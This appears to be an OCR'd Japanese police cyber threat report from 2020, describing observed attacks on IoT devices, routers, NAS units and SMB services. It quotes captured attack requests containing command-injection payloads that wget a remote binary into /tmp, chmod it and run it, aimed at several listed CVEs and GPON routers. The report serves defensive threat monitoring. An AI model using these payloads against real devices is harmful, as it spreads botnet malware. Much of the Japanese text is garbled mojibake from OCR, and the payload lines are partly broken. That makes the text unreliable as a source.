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https://www.npa.go.jp/cyberpolice/
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K1 KEHRIP BEXBEOMBEEERLL-7I RGO #FE (R2.3.29~R2.4.23)

posT [ HTTP/1.1
User-Agent: XTC TE7RZ S LDR7yaO—REDY

Accept: application/json E=FARHZ AT R
Content-Type: application/json

or 1=1-- ;‘wget${IFS}http://_/xtc.arm7${IFS}—O${IFS}/tmp/xtc.ar‘m7;
IFS}chmod${IFS}777${IFS}/tmp/xtc.arm7;${IFS}/tmp/xtc.arm7" ;|

\
M2 REH P BFEIMEORBEEERALETIVEADE (—EHYRF T EER)

i JVNDB-2020-003190(CVE-2020-5722):
httpsi//jvndb.jvn.jp/ja/contents/2020/JVNDB-2020-003190.html
i Proof of Concept DM, MagaMEzFI ML= KN RIFETHAZ LA /R T IO DRGEA 7 17T A,
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X4 BZHIL—ADMHEEEERALE7IEAGROH#FE (R2.3.29~R2.4.23)

posT NI i >action=1ogin&keyPath=%27%0A/bin/sh${IFS}-c${IFS}" cd$

IFSY/tmp:${IFSIrm${IFS}-rf${IFStarm7;${TFSbusybox${IFSJwget${IFS http://
arm7;${IFS}chmod%{IFS}777${IFS}ar‘m7;${IFS}./ar‘m7'%04_|

%27&loginUser=a&loginPwd=a HTTP/1.1]
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i JVNDB-2020-001735(CVE-2020-8515):
httpsi//jvndb.jvn.jp/ja/contents/2020/JVNDB-2020-001735.html
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| =80/TCP ©8080/TCP D8000/TCP |

X7 A2FE GPON JJL—2DMfeBMHEEBRAL-7 I RGO HT® (R2.3.15~R2.4.23)

posT N 777/ 1

User-Agent: polaris botnet REFO4FLDLYyO— KRR
Accept: */* /= = .,

A av v
Accept-Encoding: gzip, deflate RTE#HH S k
Content-Type: application/x-www-form-urlencoded l

target addr=;cd /tmp;

wget http:/

&waninf=1_INTERNET R _VID 154

rm_-rf mips; bins/mips; busybox|
bins/mips; chmod 777 mips; ./mips /|

K8 A K& GPON JL—EDIEHEEEERLI=TIADH (—EY AT %#EhE)
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VAIZOWTHALZEZ A, Android 5K =<0 LTE {3 EY 2 — /WIZBE 58 DO TLT,

GET weblogin.cgi?username=admi

' ;wget http:/ /nas
#&password=aaaa HITP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,|] like
Gecko) Chrome/51.0.2704.103 Safari/537.36
HOSt:— TEF/RS 7LD 7yO—REaRABaATV R

10 BZHNAS DfBUEERALET7IERADOH (—E T AT T EEHE)

i JVNDB-2020-001758(CVE-2020-0954):
httpsi//jvndb.jvn.jp/ja/contents/2020/JVNDB-2020-001758. html
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LR ToT anEDOMETI AR E LT T 7B 2D IS IZ DT
https://www.npa.go.jp/cyberpolice/important/2020/202001301.html
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m445/TCP m4430/TCP m4500/TCP o1701/TCP
m6379/TCP o631/TCP ®1723/TCP O Dih
11 SMBv2 LIED/N—23 AL TWSEANBT IR G D HER
(R2.3.10~R2.4.23)

v SMB2 (Server Message Block Protocol version 2)
v SMB2 Header
[Server Component: SMB2|
Header Length: 64
Credit Charge: 1 SMBON— 3 V2RI DV I/ X b
Channel Sequence: ©
Reserved: 0000
| Command: Negotiate Protocol (9) |
Credits requested: ©
Flags: ©x00000000

‘ )

72 10 cc 26 00 00 00 00 66 |fe 53 4d 42]40 00 r--& --- -ffSMBP
01 00 00 00 00 00 00 00 00 00 00 00 00 @  ------ [:] ~~~~~~~~

00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 GO - - - - - - - oo ..
00 00 00 00 00 00 00 00 0O 00 0O 00 00 00 00 B0  -------- - ---o--.
00 00 00 00 00 00 00 00 00 00 24 00 01 G0 @1 @@  -------- X TEERE
00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 GO - - - - - - - oo o.

12 SMBV2 LIED/N—2a 0 EEREL TS EHLNDT I AD

1 Microsoft SMBv3 D554 (CVE-2020-0796) (Z Bi# 327 27 & ADBLIZ 2T
https://www.npa.go.jp/cyberpolice/important/2020/202003131.html
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13 SMBV2 LIED/N—2a ZERELTWSEHONBET I A GHDH#EFE

(R2.3.29~R2.4.3)

3H 30 ARTMEOHIENCIITD 445/TCP ~DT 7B AIZHOWTIL, EE T [P TR A%
W DE, EDIFEAEDNEI DO EF 2V T A R FERRBE Y —EAZLDHDTLT, 445/TCP LL
S~DOT 7 vAL, FEEDENZE Y THN T BED IP TRLUANLEIC AN EE S
LA o N CLIZ,

ZNHDIEE I IP T RURDBIIARLEOMIZ, SMBV1 72 E D —E ZAABEE L T ey s
ATy MR ESNTOWE T, LAMBEITHAEL THDT 7 EADHEINT, 2D
FAENTEHIATPR OB ZEIZEDbD L EbE T,

AWegatE D3t G b70% /N — a2 D Microsoft Windows ZF L CWAEGA | L FOXF R %2
BUCFEET D LA HELEL £,

o < AURYTMENAMTHEET T TLEHEHHL, OS ZHEFTORIEIZL TTESN,

®  WENRWGEITIE, MDD SMB Hft(445/TCP 28) A2 W -5 Z L2 HEREL 9,

i CVE-2020-0796 | Windows SMBv3 7747 > Ny — N—DUE—hCa—R R FEITSNHMETHNE
https://portal.msrc.microsoft.com/ja-JP/security-guidance/advisory/CVE-2020-0796
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